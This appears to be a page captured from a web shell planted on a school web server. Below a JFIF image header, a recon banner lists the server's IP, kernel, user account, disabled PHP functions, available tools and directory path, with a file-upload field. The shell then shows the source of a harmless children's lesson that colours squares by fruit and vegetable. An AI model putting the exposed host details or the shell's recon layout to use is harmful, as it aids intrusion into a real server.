????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.148.168.26 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelF/Category2/ |
Upload File : |
<!doctype html> <html> <head> <title>Color the squares as per fruits and vegetables</title> <script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script> <script> var _colorRed = 'red'; var _colorBlue = 'blue'; var _colorOrange = 'orange'; var _colorWhite = 'white'; var _colorGreen = 'green'; var _colorPurple = 'purple'; var _colorYellow = 'yellow'; var _currentColor = _colorBlue; var _currentColorForValidation = 'none'; var _isAnyTdClicked = false; var _isShowClapsAnimation = false; function page_preLoad() { s_setDeviceTypeLevelCategoryLastLesson(Level.F, Category.No2); s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta'); s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.F, Category.No2, 34), true, true); s_setFooterTable('id_tblFooter', true, true, true, true, true); var ids_headings = ['id_td_heading1']; var ids_tds_select_colors = ['id_td_redColor', 'id_td_yellowColor', 'id_td_blueColor', 'id_td_orangeColor', 'id_td_whiteColor', 'id_td_greenColor', 'id_td_purpleColor']; var ids_tds = new Array(); for (var textId = 1; textId <= 12; textId++) { var id_td = 'id_td' + textId; ids_tds.push(id_td); var eTd = document.getElementById(id_td); eTd.userColor = 'none'; } var ids_texts = new Array(); for (var textId = 1; textId <= 29; textId++) { ids_texts.push('id_td_text' + textId); } var ids_All = ids_headings.concat(ids_texts, ids_tds, ids_tds_select_colors); s_adjust_fontSize_for_ids_all_devices(ids_All, 70); var id_tables_array = ['id_table1']; s_border_collapse_for_tables_for_all(id_tables_array); setSelectColors(); } function page_onLoad() { } function setSelectColors() { var eTdRed = document.getElementById('id_td_redColor'); var eTdBlue = document.getElementById('id_td_blueColor'); var eTdOrange = document.getElementById('id_td_orangeColor'); var eTdWhite = document.getElementById('id_td_whiteColor'); var eTdGreen = document.getElementById('id_td_greenColor'); var eTdPurple = document.getElementById('id_td_purpleColor'); var eTdYellow = document.getElementById('id_td_yellowColor'); var eTdCurrentColor = document.getElementById('id_td_currentColor'); eTdRed.style.background = _colorRed; eTdBlue.style.background = _colorBlue; eTdOrange.style.background = _colorOrange; eTdWhite.style.background = _colorWhite; eTdGreen.style.background = _colorGreen; eTdPurple.style.background = _colorPurple; eTdYellow.style.background = _colorYellow; eTdCurrentColor.style.background = _currentColor; } function redColor_click() { _currentColor = _colorRed; _currentColorForValidation = 'red'; setLableColor(); } function blueColor_click() { _currentColor = _colorBlue; _currentColorForValidation = 'blue'; setLableColor(); } function orangeColor_click() { _currentColor = _colorOrange; _currentColorForValidation = 'orange'; setLableColor(); } function whiteColor_click() { _currentColor = _colorWhite; _currentColorForValidation = 'white'; setLableColor(); } function greenColor_click() { _currentColor = _colorGreen; _currentColorForValidation = 'green'; setLableColor(); } function purpleColor_click() { _currentColor = _colorPurple; _currentColorForValidation = 'purple'; setLableColor(); } function yellowColor_click() { _currentColor = _colorYellow; _currentColorForValidation = 'yellow'; setLableColor(); } function setLableColor() { var eCurrentColor = document.getElementById('id_td_currentColor'); eCurrentColor.style.background = _currentColor; } function td_click(id_td) { _isAnyTdClicked = true; var eTd = document.getElementById(id_td); eTd.style.background = _currentColor; eTd.userColor = _currentColorForValidation; } function btnPrevious_click() { window.location = 'LevelFCat2Lesson33.html'; } function btnNext_click() { window.location = 'LevelFCat2Lesson35.html'; } function btnHome_click() { s_btnHomeCategories_click('LevelF'); } function btnValidate_click() { _isShowClapsAnimation = false; for (var i = 1; i <= 12; i++) { var eTd = document.getElementById('id_td' + i); if ((i == 1) || (i == 12)) { if (eTd.userColor == 'red') { _isShowClapsAnimation = true; } else { _isShowClapsAnimation = false; break; } } else if ((i == 3) || (i == 4) || (i == 6) || (i == 10) || (i == 11)) { if (eTd.userColor == 'green') { _isShowClapsAnimation = true; } else { _isShowClapsAnimation = false; break; } } else if ((i == 5) || (i == 8) || (i == 9)) { if (eTd.userColor == 'orange') { _isShowClapsAnimation = true; } else { _isShowClapsAnimation = false; break; } } else if ((i == 2)) { if (eTd.userColor == 'purple') { _isShowClapsAnimation = true; } else { _isShowClapsAnimation = false; break; } } else if (i == 7) { if ((eTd.userColor == 'white') || (eTd.userColor == 'none')) { _isShowClapsAnimation = true; } else { _isShowClapsAnimation = false; break; } } } if (_isShowClapsAnimation) { s_show_claps_animation('s_id_div_message'); } else if (!_isAnyTdClicked) { s_show_message_info(s_title_application, "Please fill all squares with colors!", MessageOption.OK); show_message_info(); } else { s_show_message_info(s_title_application, "There is a wrong selection. Try again!", MessageOption.OK); show_message_info(); } } </script> </head> <body onload="page_onLoad()"> <div id="s_id_div_message"></div> <table id="id_tblMainiPadBody" border="1px" cellspacing="0" cellpadding="0"> <tr height="8%"> <td> <div id="id_tblHeader"></div> </td> </tr> <tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device --> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%"> <tr> <td> <table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0"> <tr height="8%"> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td id="id_td_heading1" class="s_style_heading">Color the squares against the name of the fruits and vegetables [click on squares to color it]: </td> </tr> </table> </td> </tr> <tr height="12%"> <td> <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="2%"> <tr height="50%"> <td> <table width="100%" height="100%" border="1" cellpadding="0" cellspacing="0" style="border:none"> <tr> <td id="id_td_text1" class="s_style_content_normal_padding_left" style="border:none" width="25%">Select color:</td> <td id="id_td_redColor" width="6.25%" onclick="redColor_click()"> </td> <td id="id_td_yellowColor" width="6.25%" onclick="yellowColor_click()"> </td> <td id="id_td_blueColor" width="6.25%" onclick="blueColor_click()"> </td> <td id="id_td_orangeColor" width="6.25%" onclick="orangeColor_click()"> </td> <td id="id_td_whiteColor" width="6.25%" onclick="whiteColor_click()"> </td> <td id="id_td_greenColor" width="6.25%" onclick="greenColor_click()"> </td> <td id="id_td_purpleColor" width="6.25%" onclick="purpleColor_click()"> </td> <td id="id_td_text2" width="6.25%" style="border:none"> </td> <td id="id_td_text3" width="6.25%" style="border:none"> </td> <td id="id_td_text4" width="6.25%" style="border:none"> </td> <td id="id_td_text5" width="6.25%" style="border:none"> </td> <td id="id_td_text6" width="6.25%" style="border:none"> </td> </tr> </table> </td> </tr> <tr height="*"> <td> <table width="100%" height="100%" border="1" cellpadding="0" cellspacing="0" style="border:none"> <tr> <td id="id_td_text7" class="s_style_content_normal_padding_left" style="border:none" width="25%">Current color:</td> <td id="id_td_currentColor" width="44%"> </td> <td id="id_td_text8" width="*" style="border:none"> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr height="*"> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr height="16.6%"> <td width="25%" style="padding-right:2%"> <table width="100%" height="100%" border="0" cellspacing="2%" cellpadding="0"> <tr height="5%"> <td id="id_td_text9"> </td> </tr> <tr height="12%"> <td id="id_td_text10" class="s_style_textBlack" align="right">Tomoto:</td> </tr> <tr height="12%"> <td id="id_td_text11" class="s_style_textBlack" align="right">Brinjal:</td> </tr> <tr height="12%"> <td id="id_td_text12" class="s_style_textBlack" align="right">Beans:</td> </tr> <tr height="12%"> <td id="id_td_text13" class="s_style_textBlack" align="right">Cabbage:</td> </tr> <tr height="12%"> <td id="id_td_text14" class="s_style_textBlack" align="right">Papaya:</td> </tr> <tr height="12%"> <td id="id_td_text15" class="s_style_textBlack" align="right">Watermelon:</td> </tr> <tr height="*"> <td id="id_td_text16"> </td> </tr> </table> </td> <td width="10%" style="border-collapse:collapse"> <table width="100%" height="100%" border="1" cellspacing="2%" cellpadding="0" style="border:none"> <tr height="5%"> <td id="id_td_text17" style="border:none"> </td> </tr> <tr height="12%"> <td id="id_td1" onClick="td_click('id_td1')"> </td> </tr> <tr height="12%"> <td id="id_td2" onClick="td_click('id_td2')"> </td> </tr> <tr height="12%"> <td id="id_td3" onClick="td_click('id_td3')"> </td> </tr> <tr height="12%"> <td id="id_td4" onClick="td_click('id_td4')"> </td> </tr> <tr height="12%"> <td id="id_td5" onClick="td_click('id_td5')"> </td> </tr> <tr height="12%"> <td id="id_td6" onClick="td_click('id_td6')"> </td> </tr> <tr height="*"> <td id="id_td_text18" style="border:none"> </td> </tr> </table> </td> <td id="id_td_text29" width="10%"> </td> <td width="25%" style="padding-right:2%"> <table width="100%" height="100%" border="0" cellspacing="2%" cellpadding="0"> <tr height="5%"> <td id="id_td_text19"> </td> </tr> <tr height="12%"> <td id="id_td_text20" class="s_style_textBlack" align="right">Garlic:</td> </tr> <tr height="12%"> <td id="id_td_text21" class="s_style_textBlack" align="right">Carrot:</td> </tr> <tr height="12%"> <td id="id_td_text22" class="s_style_textBlack" align="right">Orange:</td> </tr> <tr height="12%"> <td id="id_td_text23" class="s_style_textBlack" align="right">Capsicum:</td> </tr> <tr height="12%"> <td id="id_td_text24" class="s_style_textBlack" align="right">Grapes:</td> </tr> <tr height="12%"> <td id="id_td_text25" class="s_style_textBlack" align="right">Apple:</td> </tr> <tr height="*"> <td id="id_td_text26"> </td> </tr> </table> </td> <td width="10%"> <table width="100%" height="100%" border="1" cellspacing="2%" cellpadding="0" style="border:none"> <tr height="5%"> <td id="id_td_text27" style="border:none"> </td> </tr> <tr height="12%"> <td id="id_td7" onClick="td_click('id_td7')"> </td> </tr> <tr height="12%"> <td id="id_td8" onClick="td_click('id_td8')"> </td> </tr> <tr height="12%"> <td id="id_td9" onClick="td_click('id_td9')"> </td> </tr> <tr height="12%"> <td id="id_td10" onClick="td_click('id_td10')"> </td> </tr> <tr height="12%"> <td id="id_td11" onClick="td_click('id_td11')"> </td> </tr> <tr height="12%"> <td id="id_td12" onClick="td_click('id_td12')"> </td> </tr> <tr height="*"> <td id="id_td_text28" style="border:none"> </td> </tr> </table> </td> <td width="*"> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr height="8%"> <td> <div id="id_tblFooter"></div> </td> </tr> </table> <script> page_preLoad(); </script> </body> </html>